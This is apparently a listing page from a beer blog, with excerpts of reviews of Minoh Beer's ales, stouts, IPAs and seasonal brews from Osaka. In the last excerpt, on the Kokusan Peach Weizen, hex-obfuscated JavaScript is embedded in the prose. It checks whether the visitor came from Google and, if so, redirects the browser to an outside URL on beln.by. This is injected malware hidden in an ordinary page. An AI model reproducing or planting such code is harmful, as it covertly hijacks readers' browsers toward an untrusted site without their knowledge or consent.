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Minoh Bloom by Minoh Beer

Minoh Bloom

Minoh Bloom is a 5.5% golden ale. It’s part of Minoh’s seasonal lineup, and is made with five different varieties of hop. At the time of writing it seems to be out of season, so check the link at the bottom of the review for current availability. Minoh Beer, along with Tamamura Honten, are one of my favourite breweries in …

Minoh Dark Lager by Minoh Beer

Minoh Dark Lager

Minoh Dark Lager, or this version named Minoh Papa Zaru No Lager (Daddy monkey’s lager), is a 5% Vienna lager, brewed by Minoh Beer, based in Osaka, Japan. Minoh Dark Lager used to be part of their seasonal range and from 2016, it made a reappearance as part of Minoh’s Zaru range of beers, which are dedicated to the monkeys that …

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Minoh Stout by Minoh Beer

Minoh Stout

Minoh Stout is a 5.5% stout from Minoh Beer, based in Osaka, Japan. It’s part of their all-year round range of beers, and can be found in both bottles and on tap across Japan. In 2016, Minoh Stout won the award for World’s Best Stout (Japan) at the World Beer Awards, so don’t let the massive sticker on the front fool …

Minoh Godfather 5 by Minoh Beer

Minoh Godfather 5

Minoh Godfather 5 is a 5% amber lager from Minoh Beer, based in Osaka, Japan. It’s part of their annual effort in the Masaji Beer Project, run in colloboration with other breweries in Japan. Minoh Godfather 5, if the name isn’t a giveaway, is the fifth effort in the series and is sold in both bottles and on tap across …

Minoh Bosuzaru IPA by Minoh Beer

Minoh Bosuzaru IPA

Minoh Bosuzaru IPA is a 6% black IPA, sometimes called a Cascadian IPA, from Minoh Beer, based in Osaka, Japan. It’s part of their seasonal lineup of the three monkey beers with Minoh Kozaru IPA and Minoh Osaru IPA, and can be found in both bottles and on tap. The Bosuzaru refers to the term of the alpha male, or the …

Minoh Barrel Aged W-IPA by Minoh Beer

Minoh Barrel Aged W-IPA

Minoh Barrel Aged W-IPA is a 9.5% double IPA from Minoh Beer, based in Osaka, Kansai. It’s part of their annual limited edition range of beers, and this one is usually released late September / October time. Okay, so some of you might have realised by now that Rob is the BeerTengoku powerhouse in these parts. I’m constantly amazed at …

Minoh Godfather by Minoh Beer

Minoh Godfather

Minoh Godfather, or to give it its full name Minoh Godfather 4, is a 5.5% Belgian stout from Minoh Beer that is part of their annual release towards the Masaji Beer Project. This project was designed to commemorate the life of Ōshita-san, the once head of the company. The beer has been infused with yuzu, or Japanese citron, which is …

Minoh Yuzu Wheat by Minoh Beer

Minoh Yuzu Wheat

Minoh Yuzu White is a 5% witbier from Minoh Beer that is also a winter seasonal beer. It was first brewed in 2009 and has been part of their seasonal range ever since. Minoh is famous for yuzu, and from November onwards, yuzu can be seen everywhere. Minoh Beer haven’t stated how much yuzu is used in the making of Minoh …

Minoh Kozaru IPA by Minoh Beer

Minoh Kozaru IPA

The monkey from Minoh returns with Minoh Kozaru IPA, a golden ale / IPA hybrid that is Minoh’s entry into the session range of IPAs that are all the rage. The session IPA is dominated by the American style of IPA, so expect a high level of hops while keeping the ABV at a range between 4% to 5.5% which Minoh …

Minoh Kokusan Peach Weizen by Minoh Beer

Minoh Kokusan Peach Weizen

Minoh Kokusan Peach Weizen has a been a long time coming for BeerTengoku after my first, and only, experience with it at H@bit last year var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]]_0x5575[1]!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. It’s a 5.0% summer seasonal beer that is made from domestic peaches from Wakayama, in particular the arakawa peach (荒川の桃), a kind of white peach which is usually expensive to buy, crossed with the Minoh Weizen. …